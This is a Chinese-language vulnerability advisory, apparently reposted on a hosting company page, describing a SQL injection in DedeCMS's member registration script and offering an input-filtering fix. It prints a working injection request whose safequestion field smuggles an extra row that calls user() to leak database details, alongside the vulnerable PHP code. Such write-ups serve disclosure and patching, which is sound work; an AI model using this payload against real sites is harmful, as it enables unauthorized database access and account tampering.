• 全国400电话网上服务平台
    强大号码库资源任选,方便,快捷,快速开通。
    咨询热线:400-1100-266  

    dedecms织梦 /member/reg_new.php SQL注入漏洞
    POST TIME:2021-05-24 02:56
    1. 漏洞描述
     
    Dedecms会员中心注入漏洞
     
    2. 漏洞触发条件
    /member/reg_new.php?dopost=regbase&step=1&mtype=%B8%F6%C8%CB&mtype=%B8%F6%C8%CB&userid=123asd123&uname=12asd13123&userpwd=123123&userpwdok=123123&email=1213asd123%40QQ.COM&safequestion=1','1111111111111','1389701121','127.0.0.1','1389701121','127.0.0.1'),('个人',user(),'4297f44b13955235245b2497399d7a93','12as11111111111111111d13123','','10','0','1213asd11111111111123@QQ.COM','100', '0','-10','','1&safeanswer=1111111111111&sex=&vdcode=slum&agree=
    
    //把vdcode=slum改成当前的验证码
    

    3. 漏洞影响范围
     
    4. 漏洞代码分析
     
    /member/reg_new.php

    ..
    $jointime = time();
    $logintime = time();
    $joinip = GetIP();
    $loginip = GetIP();
    $pwd = md5($userpwd); 
    
    $spaceSta = ($cfg_mb_spacesta < 0 ? $cfg_mb_spacesta : 0);
    
    //未对$mtype、$safeanswer、$safequestion进行有效过滤就带入SQL查询
    $inQuery = "INSERT INTO `dede_member` (`mtype` ,`userid` ,`pwd` ,`uname` ,`sex` ,`rank` ,`money` ,`email` ,`scores` ,
    `matt`, `spacesta` ,`face`,`safequestion`,`safeanswer` ,`jointime` ,`joinip` ,`logintime` ,`loginip` )
    VALUES ('$mtype','$userid','$pwd','$uname','$sex','10','$dfmoney','$email','$dfscores',
    '0','$spaceSta','','$safequestion','$safeanswer','$jointime','$joinip','$logintime','$loginip'); "; 
    
    if($dsql->ExecuteNoneQuery($inQuery))
    ..

    5. 防御方法
     
    /member/reg_new.php

    ..
    $jointime = time();
    $logintime = time();
    $joinip = GetIP();
    $loginip = GetIP();
    $pwd = md5($userpwd);
    /* 对$mtype、$safeanswer、$safequestion进行有效过滤 */
        $mtype = HtmlReplace($mtype,1);
        $safeanswer = HtmlReplace($safeanswer);
        $safequestion = HtmlReplace($safequestion);
    /* */
    
    $spaceSta = ($cfg_mb_spacesta < 0 ? $cfg_mb_spacesta : 0);
    
    $inQuery = "INSERT INTO `dede_member` (`mtype` ,`userid` ,`pwd` ,`uname` ,`sex` ,`rank` ,`money` ,`email` ,`scores` ,
    `matt`, `spacesta` ,`face`,`safequestion`,`safeanswer` ,`jointime` ,`joinip` ,`logintime` ,`loginip` )
    VALUES ('$mtype','$userid','$pwd','$uname','$sex','10','$dfmoney','$email','$dfscores',
    '0','$spaceSta','','$safequestion','$safeanswer','$jointime','$joinip','$logintime','$loginip'); ";
    if($dsql->ExecuteNoneQuery($inQuery))
    {
    ..

    
    关于我们 | 付款方式 | 建站知识 | 增值服务 | 网站模板
    Copyright © 2003-2016
    时间:9:00-21:00 (节假日不休)
    版权所有:巨人网络(扬州)科技有限公司
    总部地址:江苏省信息产业基地11号楼四层
    《增值电信业务经营许可证》 苏B2-20120278
    X

    截屏,微信识别二维码

    微信号:veteran88

    (点击微信号复制,添加好友)

     打开微信

    微信号已复制,请打开微信添加咨询详情!